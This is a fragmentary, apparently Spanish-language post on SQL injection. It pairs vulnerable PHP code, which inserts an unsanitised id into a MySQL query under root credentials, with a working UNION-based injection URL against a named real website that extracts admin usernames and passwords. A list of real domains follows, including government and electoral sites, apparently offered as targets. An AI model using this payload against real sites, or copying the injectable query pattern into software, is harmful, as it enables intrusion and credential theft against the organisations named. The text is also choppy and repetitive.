$id;

      $db_host="localhost";
      $db_user="root";
      $db_pass="root";
      $link = mysql_connect($db_host, $db_user,
$db_pass) or die ("Error conectando a la base de datos.");

         $dbname="prueba";
         $tablename="users";
         $query="SELECT * FROM $tablename where id =
$id;";
         $result=mysql_db_query ($dbname, $query, $link);
http://www.nordicwalkingoriginal.com/noticia.php?id
=1+union+all+select+1,group_concat%28username,0x3
a,password%29,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,2
0,21,22+from+admin--
http://www.teletica.com/
http://www.congresochihuahua.gob.mx
http://www.brasil.org.bo/
http://www.ubuntu.cl/
http://www.tse.org.gt/
http://congreso.gob.gt
Sql inyection

Sql inyection